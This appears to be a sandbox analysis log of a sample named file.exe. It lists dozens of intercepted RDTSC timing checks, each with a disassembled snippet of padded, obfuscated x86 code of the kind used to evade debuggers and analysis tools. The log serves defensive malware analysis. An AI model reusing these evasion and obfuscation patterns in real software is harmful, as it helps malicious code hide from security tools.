Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5C51 second address: CF5CA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6999135DECh 0x00000008 jmp 00007F6999135DF5h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 xor edx, 20DCA12Fh 0x00000017 push 00000000h 0x00000019 jg 00007F6999135DF2h 0x0000001f push 953C198Fh 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jng 00007F6999135DE6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5CA1 second address: CF5CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F699913D2FFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5CB8 second address: CF5D04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 6AC3E6F1h 0x0000000e mov esi, dword ptr [ebp+122D19DAh] 0x00000014 push 00000003h 0x00000016 sub cl, 00000001h 0x00000019 push 00000000h 0x0000001b pushad 0x0000001c mov ebx, edx 0x0000001e mov edi, dword ptr [ebp+122D3719h] 0x00000024 popad 0x00000025 push 00000003h 0x00000027 mov esi, 695D5100h 0x0000002c push D2A67BD0h 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F6999135DF8h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D04 second address: CF5D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D08 second address: CF5D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xor dword ptr [esp], 12A67BD0h 0x0000000e xor edi, 2D29AB7Ch 0x00000014 lea ebx, dword ptr [ebp+12447AADh] 0x0000001a mov ecx, edx 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D2A second address: CF5D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D2FDh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D8C second address: CF5D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D95 second address: CF5D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5D99 second address: CF5E01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push edx 0x0000000e call 00007F6999135DF4h 0x00000013 or ecx, 6DCE424Fh 0x00000019 pop esi 0x0000001a pop edx 0x0000001b mov dword ptr [ebp+122D1926h], esi 0x00000021 push 00000000h 0x00000023 jmp 00007F6999135DF3h 0x00000028 jng 00007F6999135DECh 0x0000002e xor dword ptr [ebp+122D1A95h], edx 0x00000034 push B0E0DCABh 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5E01 second address: CF5E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5E07 second address: CF5E0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5EE6 second address: CF5FA4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F699913D2FCh 0x0000000c popad 0x0000000d push eax 0x0000000e ja 00007F699913D2FAh 0x00000014 push esi 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop esi 0x00000018 nop 0x00000019 jmp 00007F699913D305h 0x0000001e push 00000000h 0x00000020 push CFA907EFh 0x00000025 jmp 00007F699913D309h 0x0000002a add dword ptr [esp], 3056F891h 0x00000031 jmp 00007F699913D301h 0x00000036 push 00000003h 0x00000038 cld 0x00000039 push 00000000h 0x0000003b mov edx, dword ptr [ebp+122D376Dh] 0x00000041 push 00000003h 0x00000043 jmp 00007F699913D2FCh 0x00000048 push 90A89D00h 0x0000004d jmp 00007F699913D307h 0x00000052 add dword ptr [esp], 2F576300h 0x00000059 mov di, 8E49h 0x0000005d lea ebx, dword ptr [ebp+12447AC1h] 0x00000063 mov ecx, 722B0825h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5FA4 second address: CF5FC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15004 second address: D15022 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F699913D2FAh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F699913D2F6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15022 second address: D15028 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15028 second address: D15037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F699913D2F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15037 second address: D1503D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15379 second address: D1537F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1537F second address: D15383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15383 second address: D15387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15387 second address: D1539D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6999135DE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F6999135DE6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1539D second address: D153A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1550B second address: D15511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D156E7 second address: D156EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D156EB second address: D156EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15B56 second address: D15B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F699913D2FAh 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEDF3B second address: CEDF41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEDF41 second address: CEDF47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A26 second address: D16A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6999135DF0h 0x00000009 jmp 00007F6999135DF8h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A53 second address: D16A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F699913D306h 0x00000009 jp 00007F699913D2F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16A73 second address: D16AA9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6999135DEEh 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F6999135DF2h 0x0000001b push eax 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16AA9 second address: D16AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16F32 second address: D16F4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b ja 00007F6999135DE6h 0x00000011 pop ecx 0x00000012 ja 00007F6999135DE8h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2117 second address: CE2132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D2FEh 0x00000009 popad 0x0000000a jo 00007F699913D307h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2132 second address: CE2156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6999135DEBh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6999135DF3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B4E0 second address: D1B4E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8D4D second address: CE8D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D232C1 second address: D232E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F699913D306h 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D232E6 second address: D232EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D238A1 second address: D238A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D238A5 second address: D238BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F6999135DEDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D238BE second address: D238D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D2FDh 0x00000007 js 00007F699913D2F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D238D5 second address: D238DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6999135DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D238DF second address: D238E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D238E3 second address: D238EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D238EC second address: D23903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F699913D2F8h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23903 second address: D23914 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6999135DECh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23914 second address: D2391E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24E2B second address: D24E44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6999135DEDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D24E44 second address: D24E4A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2558D second address: D25591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25591 second address: D25597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25597 second address: D2559D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2563A second address: D25689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 xchg eax, ebx 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007F699913D2F8h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 0000001Ch 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 jmp 00007F699913D307h 0x00000025 push eax 0x00000026 pushad 0x00000027 jc 00007F699913D2F8h 0x0000002d push esi 0x0000002e pop esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push edi 0x00000032 pop edi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D259C4 second address: D259D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25A94 second address: D25A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27B01 second address: D27B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28F69 second address: D28F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28F70 second address: D29032 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6999135DE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6999135DF0h 0x00000012 nop 0x00000013 mov esi, dword ptr [ebp+122D1AB3h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F6999135DE8h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov di, A7B1h 0x00000039 mov edi, dword ptr [ebp+122D272Dh] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ebp 0x00000044 call 00007F6999135DE8h 0x00000049 pop ebp 0x0000004a mov dword ptr [esp+04h], ebp 0x0000004e add dword ptr [esp+04h], 0000001Ah 0x00000056 inc ebp 0x00000057 push ebp 0x00000058 ret 0x00000059 pop ebp 0x0000005a ret 0x0000005b mov di, E7AAh 0x0000005f jmp 00007F6999135DF5h 0x00000064 xchg eax, ebx 0x00000065 pushad 0x00000066 jmp 00007F6999135DEFh 0x0000006b jmp 00007F6999135DF5h 0x00000070 popad 0x00000071 push eax 0x00000072 js 00007F6999135E00h 0x00000078 push eax 0x00000079 push edx 0x0000007a push ebx 0x0000007b pop ebx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AF50 second address: D2AF6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AF6F second address: D2AF73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ED7F second address: D2EDAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 jmp 00007F699913D306h 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d jbe 00007F699913D302h 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30E3B second address: D30E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30E41 second address: D30E52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F699913D2FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3100C second address: D31011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32068 second address: D3206D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33064 second address: D33068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33F3A second address: D33FA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F699913D2FCh 0x0000000c popad 0x0000000d push eax 0x0000000e jne 00007F699913D309h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F699913D2F8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f pushad 0x00000030 cld 0x00000031 add edi, 09420D5Ch 0x00000037 popad 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b pop ebx 0x0000003c push 00000000h 0x0000003e mov dword ptr [ebp+122D1F3Ch], edi 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 push ebx 0x00000048 push esi 0x00000049 pop esi 0x0000004a pop ebx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F09 second address: D34F20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F6999135DE6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F6999135DECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F20 second address: D34F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34118 second address: D341AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F6999135DE8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov ebx, eax 0x00000027 jbe 00007F6999135DEFh 0x0000002d pushad 0x0000002e mov ebx, eax 0x00000030 add bx, 847Bh 0x00000035 popad 0x00000036 push dword ptr fs:[00000000h] 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007F6999135DE8h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 jns 00007F6999135DECh 0x0000005d sub dword ptr [ebp+122D33FAh], edx 0x00000063 mov dword ptr fs:[00000000h], esp 0x0000006a add ebx, 6CA65DD5h 0x00000070 mov eax, dword ptr [ebp+122D0BE1h] 0x00000076 push FFFFFFFFh 0x00000078 mov bl, ah 0x0000007a nop 0x0000007b pushad 0x0000007c push eax 0x0000007d push edx 0x0000007e jbe 00007F6999135DE6h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F24 second address: D34FA0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F699913D2FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F699913D2F8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 jne 00007F699913D2FEh 0x0000002b push 00000000h 0x0000002d mov edi, esi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F699913D2F8h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b jc 00007F699913D2F6h 0x00000051 sub dword ptr [ebp+122D2610h], ecx 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34FA0 second address: D34FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34FA5 second address: D34FAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3518F second address: D35193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36117 second address: D3611C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3611C second address: D36141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F6999135DFBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36141 second address: D36147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
